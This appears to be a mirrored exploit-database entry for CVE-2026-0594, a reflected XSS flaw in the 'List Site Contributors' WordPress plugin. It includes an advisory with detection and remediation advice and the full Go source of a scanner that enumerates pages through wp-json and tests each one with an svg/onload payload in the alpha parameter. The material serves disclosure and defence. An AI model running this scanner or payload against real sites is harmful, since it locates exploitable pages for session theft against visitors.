Medium CVE-2026-0594 unpatched

WordPress "List Site Contributors" Plugin Reflected XSS Scanner (CVE-2026-0594)

by m4sh_wacker (m4sh-wacker) · 2026-07-05

Severity: Medium
CVE: CVE-2026-0594
Category: web
Affected product: "List Site Contributors" WordPress plugin
Affected versions: Not specified in source (vulnerable installations of the plugin exposing the alpha parameter)
Disclosed: 2026-07-05
Patch status: unpatched

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-01
Author / Researcher	m4sh_wacker (m4sh-wacker)
CVE / Advisory	CVE-2026-0594
Category	web
Severity	Medium
CVSS Score	Not specified in source
Status	PoC
Tags	wordpress, xss, reflected-xss, wp-json, rest-api, plugin-vulnerability, golang, scanner
Related	N/A

Affected Target

Field	Value
Software / System	“List Site Contributors” WordPress plugin
Versions Affected	Not specified in source (vulnerable installations of the plugin exposing the `alpha` parameter)
Language / Platform	Go 1.19+ (scanner/exploit); target is any WordPress site running the vulnerable plugin
Authentication Required	No
Network Access Required	Yes

Summary

The “List Site Contributors” WordPress plugin reflects the alpha query parameter into page output without sanitization, allowing an attacker to inject arbitrary HTML/JavaScript that executes in a victim’s browser when they visit a crafted link. The included Go tool automates discovery of candidate target pages by querying a site’s wp-json/wp/v2/pages REST endpoint, filters for pages that reference the alpha parameter, and then concurrently (via goroutines) requests each candidate URL with an "><svg/onload=alert(document.domain)> payload appended to alpha, checking whether the raw payload is reflected unescaped in the response. Confirmed vulnerable URLs are printed to the console, giving an attacker (or defender) a fast way to enumerate exploitable pages across a site’s published content.

Vulnerability Details

Root Cause

The plugin renders the alpha request parameter directly into the page’s HTML output without HTML-encoding or otherwise sanitizing it, allowing attacker-controlled markup/script to break out of its intended context (reflected XSS).

Attack Vector

Attacker points the tool at a target WordPress site’s base URL.
Tool queries /wp-json/wp/v2/pages to enumerate all published page slugs and their rendered content.
Tool filters to pages whose rendered content references alpha=, indicating the vulnerable plugin/shortcode is in use on that page.
For each candidate slug, the tool concurrently requests <slug>/?alpha="><svg/onload=alert(document.domain)> and checks whether the raw <svg/onload=...> payload appears unescaped in the response body.
Confirmed vulnerable URLs are reported; an attacker can then send the crafted link to a victim to execute arbitrary JavaScript in their browser session (e.g., for session token theft or unauthorized actions).

Impact

Arbitrary JavaScript execution in the browser of any victim who loads a crafted link on an affected page, enabling session/cookie theft, credential phishing, or unauthorized actions performed as the logged-in victim (e.g., an authenticated administrator).

Environment / Lab Setup

Target:   WordPress site with the "List Site Contributors" plugin installed and the wp-json REST API enabled
Attacker: Go 1.19+

Proof of Concept

PoC Script

See CVE-2026-0594.go in this folder.

1
go run CVE-2026-0594.go

The program prompts for a target URL, pulls all page slugs via wp-json/wp/v2/pages, tests each candidate page in parallel with the reflected alpha XSS payload, and prints any URL where the payload is confirmed reflected unescaped.

Detection & Indicators of Compromise

Signs of compromise:

Access logs showing alpha= parameters containing <svg/onload=, <script>, or similar payloads
Reports of unexpected pop-ups/redirects or session anomalies from users visiting site pages via unusual links
Bursts of near-simultaneous requests to many page slugs from a single source, consistent with automated vulnerability scanning

Remediation

Action	Detail
Primary fix	No vendor patch confirmed as of 2026-07-05 — monitor for a plugin update from the “List Site Contributors” maintainer; until patched, sanitize/encode the `alpha` parameter server-side or disable the affected shortcode/feature
Interim mitigation	Deploy a WAF rule to strip/block HTML-injection patterns in the `alpha` parameter, and set a restrictive Content-Security-Policy to limit inline script execution

References

Source repository

Notes

Mirrored from https://github.com/m4sh-wacker/CVE-2026-0594-ListSiteContributors-Plugin-Exploit on 2026-07-05.

CVE-2026-0594.go

go raw GitHub ↓ Download

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
package main

import (
	"bufio"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"os"
	"strings"
	"sync"
	"time"
)

// ==============================================================================
// Author: m4sh_wacker
// CVE: CVE-2026-0594
// Description: Detects and demonstrates Reflected XSS in WordPress via the
//              'alpha' parameter. This vulnerability allows for client-side
//              code execution, potentially leading to session hijacking,
//              unauthorized administrative actions, and PII exfiltration
//              through DOM manipulation.
// ==============================================================================

const (
	Reset  = "\033[0m"
	Red    = "\033[31m"
	Green  = "\033[32m"
	Yellow = "\033[33m"
	Cyan   = "\033[36m"
	Bold   = "\033[1m"
)

type WPPage struct {
	Slug    string `json:"slug"`
	Content struct {
		Rendered string `json:"rendered"`
	} `json:"content"`
}

func main() {
	banner := `
    ____                      __   _   __     __ 
   / __ \________  ____ _____/ /  / | / /__  / /_
  / / / / ___/ _ \/ __ \/ __  /  /  |/ / _ \/ __/
 / /_/ / /  /  __/ /_/ / /_/ /  / /|  /  __/ /_  
/_____/_/   \___/\__,_/\__,_/  /_/ |_/\___/\__/

Author: m4sh_wacker
    `
	fmt.Printf("%s%s%s\n", Cyan, banner, Reset)

	const xssPayload = "?alpha=\"><svg/onload=alert(document.domain)>"

	reader := bufio.NewReader(os.Stdin)
	fmt.Printf("%s[*] Enter Target URL:%s ", Bold, Reset)
	target, _ := reader.ReadString('\n')
	target = strings.TrimSpace(target)

	if target == "" {
		return
	}
	target = strings.TrimSuffix(target, "/")

	apiURL := target + "/wp-json/wp/v2/pages"
	client := &http.Client{Timeout: 15 * time.Second}

	resp, err := client.Get(apiURL)
	if err != nil {
		fmt.Printf("%s[!] Error: %v%s\n", Red, err, Reset)
		return
	}
	defer resp.Body.Close()

	bodyBytes, _ := io.ReadAll(resp.Body)
	bodyStr := string(bodyBytes)

	start := strings.Index(bodyStr, "[")
	end := strings.LastIndex(bodyStr, "]")
	if start == -1 || end == -1 {
		return
	}
	cleanJSON := bodyStr[start : end+1]

	var pages []WPPage
	if err := json.Unmarshal([]byte(cleanJSON), &pages); err != nil {
		return
	}

	var wg sync.WaitGroup
	var mu sync.Mutex

	for _, page := range pages {
		if strings.Contains(page.Content.Rendered, "alpha=") {
			wg.Add(1)
			go func(p WPPage) {
				defer wg.Done()
				vulnURL := target + "/" + p.Slug + "/" + xssPayload

				checkResp, err := client.Get(vulnURL)
				if err == nil {
					defer checkResp.Body.Close()
					b, _ := io.ReadAll(checkResp.Body)
					if strings.Contains(string(b), "<svg/onload=alert(document.domain)>") {
						mu.Lock()
						fmt.Printf("%s[VULNERABLE]%s %s\n", Red, Reset, vulnURL)
						mu.Unlock()
					}
				}
			}(page)
		}
	}
	wg.Wait()
}

func r(s string) string {
	return s
}